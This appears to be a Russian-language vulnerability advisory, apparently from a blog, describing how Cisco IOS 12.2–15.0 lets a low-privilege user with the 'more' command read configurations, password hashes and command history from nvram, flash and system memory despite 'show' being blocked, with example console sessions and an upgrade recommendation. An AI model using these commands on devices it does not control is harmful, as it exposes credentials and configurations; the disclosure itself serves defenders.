Эксперты компании Positive Technologies обнаружили уязвимость в оборудовании Cisco, которая позволяет атакующему обойти некоторые ограничения доступа.
При настройке доступа к системной команде more, как privilege exec level {number} more, в отличие от команд типа show, доступ к дисковым элементам распространяется на все команды нижнего уровня, что может предоставить злоумышленнику несанкционированный доступ к памяти маршрутизатора и его элементам nvram, system (RAM), flash.
Проблемы данного уровня замечены на IOS маршрутизаторов и коммутаторов 12.2, 12.3, 12.4, 15.0
Подробнее:
IOS 12.2, 12.3 ограничивают доступ к получению конфигурации из system:running-config, но мешают производить чтение непосредственно памяти маршрутизатора (system:memory) для извлечения этих данных, также не ограниченно доступно чтение конфигурационных и иных файлов в flash и nvram маршрутизатора.
IOS 12.4, 15.0 в отличии от версий 12.2, 12.3, не ограничивают чтение из всех элементов nvram, system (RAM), flash маршрутизатора.
Пример 1. Получение конфигурации:
Cisco 3550-12T (12.2(50)SE)
C3550 Software (C3550-IPSERVICESK9-M), Version 12.2(50)SE)
Конфигурация устройства:
!
version 12.2
no service pad
service timestamps debug uptime
service timestamps log uptime
service password-encryption
!
hostname C3550
!
…
!
snmp-server community <removed> RO
!
control-plane
!
privilege exec level 8 access-template
privilege exec level 8 clear access-template
privilege exec level 8 clear
privilege exec level 3 more
privilege exec level 3 show
!
line con 0
line vty 5 15
!
end
Вывод команд show:
C3550#show running-config
^
% Invalid input detected at '^' marker.
C3550#show startup-config
^
% Invalid input detected at '^' marker.
Вывод команд more:
C3550#more flash:config.text
!
version 12.2
no service pad
service timestamps debug uptime
service timestamps log uptime
service password-encryption
!
hostname C3550
!
enable secret 5 <password>
!
username ptuser privilege 3 password 7 <password>
aaa new-model
…
!
snmp-server community <removed> RO
!
control-plane
!
privilege exec level 8 access-template
privilege exec level 8 clear access-template
privilege exec level 8 clear
privilege exec level 3 more
privilege exec level 3 show
!
line con 0
line vty 5 15
!
end
C3550#more nvram:startup-config
!
version 12.2
no service pad
service timestamps debug uptime
service timestamps log uptime
service password-encryption
!
hostname C3550
!
enable secret 5 <password>
!
username ptuser privilege 3 password 7 <password>
aaa new-model
…
!
snmp-server community <removed> RO
!
control-plane
!
privilege exec level 8 access-template
privilege exec level 8 clear access-template
privilege exec level 8 clear
privilege exec level 3 more
privilege exec level 3 show
!
line con 0
line vty 5 15
!
end
C3550#more system:?
system:default-running-config system:memory system:running-config
system:vfiles
C3550#more system:running-config
00000000: 0A210A21 0A210A21 0A210A21 0A656E64 .!.! .!.! .!.! .end
00000010: 0AXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX .XXX XXXX XXXX XXXX
Версия IOS 12.3(4)T2
ROM: 3700 Software (C3745-A3JK9S-M), Version 12.3(4)T2, RELEASE SOFTWARE (fc1)
Конфигурация устройства:
version 12.3
service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption
!
hostname Router
!
boot-start-marker
boot-end-marker
!
username ptuser privilege 3 secret 5 <removed>
no aaa new-model
ip subnet-zero
!
ip ssh break-string
!
no crypto isakmp enable
!
interface FastEthernet0/0
ip address <removed>
duplex auto
speed auto
!
interface FastEthernet0/1
no ip address
shutdown
duplex auto
speed auto
!
ip http server
no ip http secure-server
ip classless
!
control-plane
!
privilege exec level 3 more
privilege exec level 3 show
!
line con 0
line aux 0
line vty 0 4
login local
!
end
Вывод команд show:
Router#show running-config
^
% Invalid input detected at '^' marker.
Router#show startup-config
^
% Invalid input detected at '^' marker.
Вывод команд more:
Router#more nvram:startup-config
!
version 12.3
service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption
!
hostname Router
!
boot-start-marker
boot-end-marker
!
username ptuser privilege 3 secret 5 <removed>
no aaa new-model
ip subnet-zero
!
ip ssh break-string
Таким образом, несмотря на то, что доступ к просмотру конфигурации устройства с помощью команды “show” запрещен, существует возможность получить конфигурацию через команду “more”
Пример2. Работа с памятью устройства
Возможность работать с чтением памяти устройства Cisco, получение history и конфигураций возможна с использованием команды «more system:memory/main»
Рисунок 1 – История вводимых команд (в том числе пароли)
Рисунок 2 – получение конфигурации устройства через память
Рекомендации:
Установить версию, не подверженную данной уязвимости.
Подробности можно найти, перейдя по ссылке: http://tools.cisco.com/Support/BugToolKit/search/getBugDetails.do?method=fetchBugDetails&bugId=CSCtk17827
Комментариев нет:
Отправка комментария